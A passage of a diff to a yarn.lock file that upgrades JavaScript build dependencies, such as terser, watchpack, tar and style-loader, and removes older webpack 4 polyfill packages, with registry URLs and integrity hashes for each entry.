-  integrity sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==
-  dependencies:
-    base "^0.11.1"
-    debug "^2.2.0"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    map-cache "^0.2.2"
-    source-map "^0.5.6"
-    source-map-resolve "^0.5.0"
-    use "^3.1.0"
-
-sockjs-client@^1.5.0:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/sockjs-client/-/sockjs-client-1.5.1.tgz#256908f6d5adfb94dabbdbd02c66362cca0f9ea6"
-  integrity sha512-VnVAb663fosipI/m6pqRXakEOw7nvd7TUgdr3PlR/8V2I95QIdwT8L4nMxhyU8SmDBHYXU1TOElaKOmKLfYzeQ==
-  dependencies:
-    debug "^3.2.6"
-    eventsource "^1.0.7"
-    faye-websocket "^0.11.3"
-    inherits "^2.0.4"
-    json3 "^3.3.3"
-    url-parse "^1.5.1"
-
 sockjs@^0.3.21:
   version "0.3.21"
   resolved "https://registry.yarnpkg.com/sockjs/-/sockjs-0.3.21.tgz#b34ffb98e796930b60a0cfa11904d6a339a7d417"
@@ -6764,12 +6216,12 @@ sockjs@^0.3.21:
     uuid "^3.4.0"
     websocket-driver "^0.7.4"
 
-source-list-map@^2.0.0:
+source-list-map@^2.0.0, source-list-map@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/source-list-map/-/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
   integrity sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==
 
-source-map-resolve@^0.5.0, source-map-resolve@^0.5.2:
+source-map-resolve@^0.5.2:
   version "0.5.3"
   resolved "https://registry.yarnpkg.com/source-map-resolve/-/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
   integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==
@@ -6780,7 +6232,7 @@ source-map-resolve@^0.5.0, source-map-resolve@^0.5.2:
     source-map-url "^0.4.0"
     urix "^0.1.0"
 
-source-map-support@~0.5.12:
+source-map-support@~0.5.19:
   version "0.5.19"
   resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
   integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==
@@ -6805,11 +6257,16 @@ source-map@^0.4.2:
   dependencies:
     amdefine ">=0.0.4"
 
-source-map@^0.5.0, source-map@^0.5.6, source-map@~0.5.3:
+source-map@^0.5.0, source-map@~0.5.3:
   version "0.5.7"
   resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
   integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
 
+source-map@^0.7.3, source-map@~0.7.2:
+  version "0.7.3"
+  resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383"
+  integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==
+
 spdx-correct@^3.0.0:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
@@ -6859,13 +6316,6 @@ spdy@^4.0.2:
     select-hose "^2.0.0"
     spdy-transport "^3.0.0"
 
-split-string@^3.0.1, split-string@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-  integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==
-  dependencies:
-    extend-shallow "^3.0.0"
-
 sprintf-js@~1.0.2:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
@@ -6886,12 +6336,12 @@ sshpk@^1.7.0:
     safer-buffer "^2.0.2"
     tweetnacl "~0.14.0"
 
-ssri@^6.0.1:
-  version "6.0.2"
-  resolved "https://registry.yarnpkg.com/ssri/-/ssri-6.0.2.tgz#157939134f20464e7301ddba3e90ffa8f7728ac5"
-  integrity sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==
+ssri@^8.0.1:
+  version "8.0.1"
+  resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af"
+  integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==
   dependencies:
-    figgy-pudding "^3.5.1"
+    minipass "^3.1.1"
 
 stable@^0.1.8:
   version "0.1.8"
@@ -6903,14 +6353,6 @@ stackframe@^1.1.1:
   resolved "https://registry.yarnpkg.com/stackframe/-/stackframe-1.2.0.tgz#52429492d63c62eb989804c11552e3d22e779303"
   integrity sha512-GrdeshiRmS1YLMYgzF16olf2jJ/IzxXY9lhKOskuVziubpTYcYqyOwYeJKzQkwy7uN0fYSsbsC4RQaXf9LCrYA==
 
-static-extend@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-  dependencies:
-    define-property "^0.2.5"
-    object-copy "^0.1.0"
-
 "statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0:
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
@@ -6923,14 +6365,6 @@ stdout-stream@^1.4.0:
   dependencies:
     readable-stream "^2.0.1"
 
-stream-browserify@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
-  integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==
-  dependencies:
-    inherits "~2.0.1"
-    readable-stream "^2.0.2"
-
 stream-browserify@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-3.0.0.tgz#22b0a2850cdf6503e73085da1fc7b7d0c2122f2f"
@@ -6947,25 +6381,6 @@ stream-combiner2@^1.1.1:
     duplexer2 "~0.1.0"
     readable-stream "^2.0.2"
 
-stream-each@^1.1.0:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/stream-each/-/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae"
-  integrity sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==
-  dependencies:
-    end-of-stream "^1.1.0"
-    stream-shift "^1.0.0"
-
-stream-http@^2.7.2:
-  version "2.8.3"
-  resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
-  integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==
-  dependencies:
-    builtin-status-codes "^3.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.3.6"
-    to-arraybuffer "^1.0.0"
-    xtend "^4.0.0"
-
 stream-http@^3.0.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-3.2.0.tgz#1872dfcf24cb15752677e40e5c3f9cc1926028b5"
@@ -6976,11 +6391,6 @@ stream-http@^3.0.0:
     readable-stream "^3.6.0"
     xtend "^4.0.2"
 
-stream-shift@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/stream-shift/-/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
-  integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==
-
 stream-splicer@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/stream-splicer/-/stream-splicer-2.0.1.tgz#0b13b7ee2b5ac7e0609a7463d83899589a363fcd"
@@ -7031,7 +6441,7 @@ string.prototype.trimstart@^1.0.4:
     call-bind "^1.0.2"
     define-properties "^1.1.3"
 
-string_decoder@^1.0.0, string_decoder@^1.1.1:
+string_decoder@^1.1.1:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
   integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
@@ -7080,10 +6490,10 @@ strip-bom@^2.0.0:
   dependencies:
     is-utf8 "^0.2.0"
 
-strip-eof@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-  integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
+strip-final-newline@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad"
+  integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==
 
 strip-indent@^1.0.1:
   version "1.0.1"
@@ -7092,13 +6502,13 @@ strip-indent@^1.0.1:
   dependencies:
     get-stdin "^4.0.1"
 
-style-loader@^0.21.0:
-  version "0.21.0"
-  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-0.21.0.tgz#68c52e5eb2afc9ca92b6274be277ee59aea3a852"
-  integrity sha512-T+UNsAcl3Yg+BsPKs1vd22Fr8sVT+CJMtzqc6LEw9bbJZb43lm9GoeIfUcDEefBSWC0BhYbcdupV1GtI4DGzxg==
+style-loader@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-2.0.0.tgz#9669602fd4690740eaaec137799a03addbbc393c"
+  integrity sha512-Z0gYUJmzZ6ZdRUqpg1r8GsaFKypE+3xAzuFeMuoHgjc9KZv3wMyCRjQIWEbhoFSq7+7yoHXySDJyyWQaPajeiQ==
   dependencies:
-    loader-utils "^1.1.0"
-    schema-utils "^0.4.5"
+    loader-utils "^2.0.0"
+    schema-utils "^3.0.0"
 
 stylehacks@^4.0.0:
   version "4.0.3"
@@ -7135,6 +6545,13 @@ supports-color@^6.1.0:
   dependencies:
     has-flag "^3.0.0"
 
+supports-color@^7.0.0, supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
 svgo@^1.0.0:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
@@ -7154,10 +6571,10 @@ svgo@^1.0.0:
     unquote "~1.1.1"
     util.promisify "~1.0.0"
 
-sweetalert2@^10.16.3:
-  version "10.16.4"
-  resolved "https://registry.yarnpkg.com/sweetalert2/-/sweetalert2-10.16.4.tgz#77eafc05d9e5b27ca49f6acac6c42345c9aa8a55"
-  integrity sha512-DMrHpGH8/Dyoly1bTzIQkwDS61atgYL8D8fPsvtVuxpgHRJuk80KAIq5Alw+kHTuQtfLQYF4xwiHKJPdaoaPGg==
+sweetalert2@^10.16:
+  version "10.16.6"
+  resolved "https://registry.yarnpkg.com/sweetalert2/-/sweetalert2-10.16.6.tgz#bf9893386aa9330a22fde188c25897a98559dc4a"
+  integrity sha512-089SRfG8NopJAVG9euo+kKHWRaCK6V5WY6v1kySYL07SDF/FEEW1Fu+LqkHqvQ0h3KnQ8AE2Z81mpvhMOlx/Vw==
 
 syntax-error@^1.1.1:
   version "1.4.0"
@@ -7166,10 +6583,10 @@ syntax-error@^1.1.1:
   dependencies:
     acorn-node "^1.2.0"
 
-tapable@^1.0.0, tapable@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
-  integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
+tapable@^2.1.1, tapable@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.0.tgz#5c373d281d9c672848213d0e037d1c4165ab426b"
+  integrity sha512-FBk4IesMV1rBxX2tfiK8RAmogtWn53puLOQlvO8XuwlgxcYbP4mVPS9Ph4aeamSyyVjOl24aYWAuc8U5kCVwMw==
 
 tar@^2.0.0:
   version "2.2.2"
@@ -7180,29 +6597,38 @@ tar@^2.0.0:
     fstream "^1.0.12"
     inherits "2"
 
-terser-webpack-plugin@^1.1.0, terser-webpack-plugin@^1.4.3:
-  version "1.4.5"
-  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b"
-  integrity sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==
+tar@^6.0.2:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/tar/-/tar-6.1.0.tgz#d1724e9bcc04b977b18d5c573b333a2207229a83"
+  integrity sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==
+  dependencies:
+    chownr "^2.0.0"
+    fs-minipass "^2.0.0"
+    minipass "^3.0.0"
+    minizlib "^2.1.1"
+    mkdirp "^1.0.3"
+    yallist "^4.0.0"
+
+terser-webpack-plugin@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.1.1.tgz#7effadee06f7ecfa093dbbd3e9ab23f5f3ed8673"
+  integrity sha512-5XNNXZiR8YO6X6KhSGXfY0QrGrCRlSwAEjIIrlRQR4W8nP69TaJUlh3bkuac6zzgspiGPfKEHcY295MMVExl5Q==
   dependencies:
-    cacache "^12.0.2"
-    find-cache-dir "^2.1.0"
-    is-wsl "^1.1.0"
-    schema-utils "^1.0.0"
-    serialize-javascript "^4.0.0"
+    jest-worker "^26.6.2"
+    p-limit "^3.1.0"
+    schema-utils "^3.0.0"
+    serialize-javascript "^5.0.1"
     source-map "^0.6.1"
-    terser "^4.1.2"
-    webpack-sources "^1.4.0"
-    worker-farm "^1.7.0"
+    terser "^5.5.1"
 
-terser@^4.1.2:
-  version "4.8.0"
-  resolved "https://registry.yarnpkg.com/terser/-/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17"
-  integrity sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==
+terser@^5.5.1:
+  version "5.7.0"
+  resolved "https://registry.yarnpkg.com/terser/-/terser-5.7.0.tgz#a761eeec206bc87b605ab13029876ead938ae693"
+  integrity sha512-HP5/9hp2UaZt5fYkuhNBR8YyRcT8juw8+uFbAme53iN9hblvKnLUTKkmwJG6ocWpIKf8UK4DoeWG4ty0J6S6/g==
   dependencies:
     commander "^2.20.0"
-    source-map "~0.6.1"
-    source-map-support "~0.5.12"
+    source-map "~0.7.2"
+    source-map-support "~0.5.19"
 
 through2@^2.0.0:
   version "2.0.5"
@@ -7229,50 +6655,23 @@ timers-browserify@^1.0.1:
   dependencies:
     process "~0.11.0"
 
-timers-browserify@^2.0.4:
-  version "2.0.12"
-  resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee"
-  integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==
-  dependencies:
-    setimmediate "^1.0.4"
-
 timsort@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/timsort/-/timsort-0.3.0.tgz#405411a8e7e6339fe64db9a234de11dc31e02bd4"
   integrity sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=
 
-tmp@^0.0.33:
-  version "0.0.33"
-  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9"
-  integrity sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==
+tmp@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.2.1.tgz#8457fc3037dcf4719c251367a1af6500ee1ccf14"
+  integrity sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==
   dependencies:
-    os-tmpdir "~1.0.2"
-
-to-arraybuffer@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43"
-  integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=
+    rimraf "^3.0.0"
 
 to-fast-properties@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e"
   integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=
 
-to-object-path@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.yarnpkg.com/to-object-path/-/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af"
-  integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=
-  dependencies:
-    kind-of "^3.0.2"
-
-to-regex-range@^2.1.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38"
-  integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=
-  dependencies:
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-
 to-regex-range@^5.0.1:
   version "5.0.1"
   resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
@@ -7280,16 +6679,6 @@ to-regex-range@^5.0.1:
   dependencies:
     is-number "^7.0.0"
 
-to-regex@^3.0.1, to-regex@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/to-regex/-/to-regex-3.0.2.tgz#13cfdd9b336552f30b51f33a8ae1b42a7a7599ce"
-  integrity sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==
-  dependencies:
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    regex-not "^1.0.2"
-    safe-regex "^1.1.0"
-
 toidentifier@1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
@@ -7315,11 +6704,6 @@ trim-newlines@^1.0.0:
   dependencies:
     glob "^7.1.2"
 
-tty-browserify@0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6"
-  integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=
-
 tty-browserify@0.0.1:
   version "0.0.1"
   resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.1.tgz#3f05251ee17904dfd0677546670db9651682b811"
@@ -7409,16 +6793,6 @@ unicode-property-aliases-ecmascript@^1.0.4:
   resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz#dd57a99f6207bedff4628abefb94c50db941c8f4"
   integrity sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==
 
-union-value@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/union-value/-/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
-  integrity sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==
-  dependencies:
-    arr-union "^3.1.0"
-    get-value "^2.0.6"
-    is-extendable "^0.1.1"
-    set-value "^2.0.1"
-
 uniq@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/uniq/-/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff"
@@ -7443,11 +6817,6 @@ unique-slug@^2.0.0:
   dependencies:
     imurmurhash "^0.1.4"
 
-universalify@^0.1.0:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.1.2.tgz#b646f69be3942dabcecc9d6639c80dc105efaa66"
-  integrity sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==
-
 unpipe@1.0.0, unpipe@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
@@ -7458,19 +6827,6 @@ unquote@~1.1.1:
   resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
   integrity sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=
 
-unset-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/unset-value/-/unset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559"
-  integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=
-  dependencies:
-    has-value "^0.3.1"
-    isobject "^3.0.0"
-
-upath@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
-  integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==
-
 uri-js@^4.2.2:
   version "4.4.1"
   resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
@@ -7483,14 +6839,6 @@ urix@^0.1.0:
   resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
   integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
 
-url-parse@^1.4.3, url-parse@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.1.tgz#d5fa9890af8a5e1f274a2c98376510f6425f6e3b"
-  integrity sha512-HOfCOUJt7iSYzEx/UqgtwKRMC6EU91NFhsCHMv9oM03VJcVo2Qrp8T8kI9D7amFf1cu+/3CEhgb3rF9zL7k85Q==
-  dependencies:
-    querystringify "^2.1.1"
-    requires-port "^1.0.0"
-
 url@^0.11.0, url@~0.11.0:
   version "0.11.0"
   resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
@@ -7499,11 +6847,6 @@ url@^0.11.0, url@~0.11.0:
     punycode "1.3.2"
     querystring "0.2.0"
 
-use@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/use/-/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f"
-  integrity sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==
-
 util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
@@ -7531,13 +6874,6 @@ util@0.10.3:
   dependencies:
     inherits "2.0.1"
 
-util@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
-  integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==
-  dependencies:
-    inherits "2.0.3"
-
 util@~0.12.0:
   version "0.12.3"
   resolved "https://registry.yarnpkg.com/util/-/util-0.12.3.tgz#971bb0292d2cc0c892dab7c6a5d37c2bec707888"
@@ -7570,7 +6906,7 @@ uuid@^8.3.0:
   resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2"
   integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==
 
-v8-compile-cache@^2.1.1:
+v8-compile-cache@^2.2.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz#2de19618c66dc247dcfb6f99338035d8245a2cee"
   integrity sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==
@@ -7602,28 +6938,18 @@ verror@1.10.0:
     core-util-is "1.0.2"
     extsprintf "^1.2.0"
 
-vm-browserify@^1.0.0, vm-browserify@^1.0.1:
+vm-browserify@^1.0.0:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
   integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==
 
-watchpack-chokidar2@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957"
-  integrity sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==
-  dependencies:
-    chokidar "^2.1.8"
-
-watchpack@^1.7.4:
-  version "1.7.5"
-  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453"
-  integrity sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==
+watchpack@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.1.1.tgz#e99630550fca07df9f90a06056987baa40a689c7"
+  integrity sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==
   dependencies:
+    glob-to-regexp "^0.4.1"
     graceful-fs "^4.1.2"
-    neo-async "^2.5.0"
-  optionalDependencies:
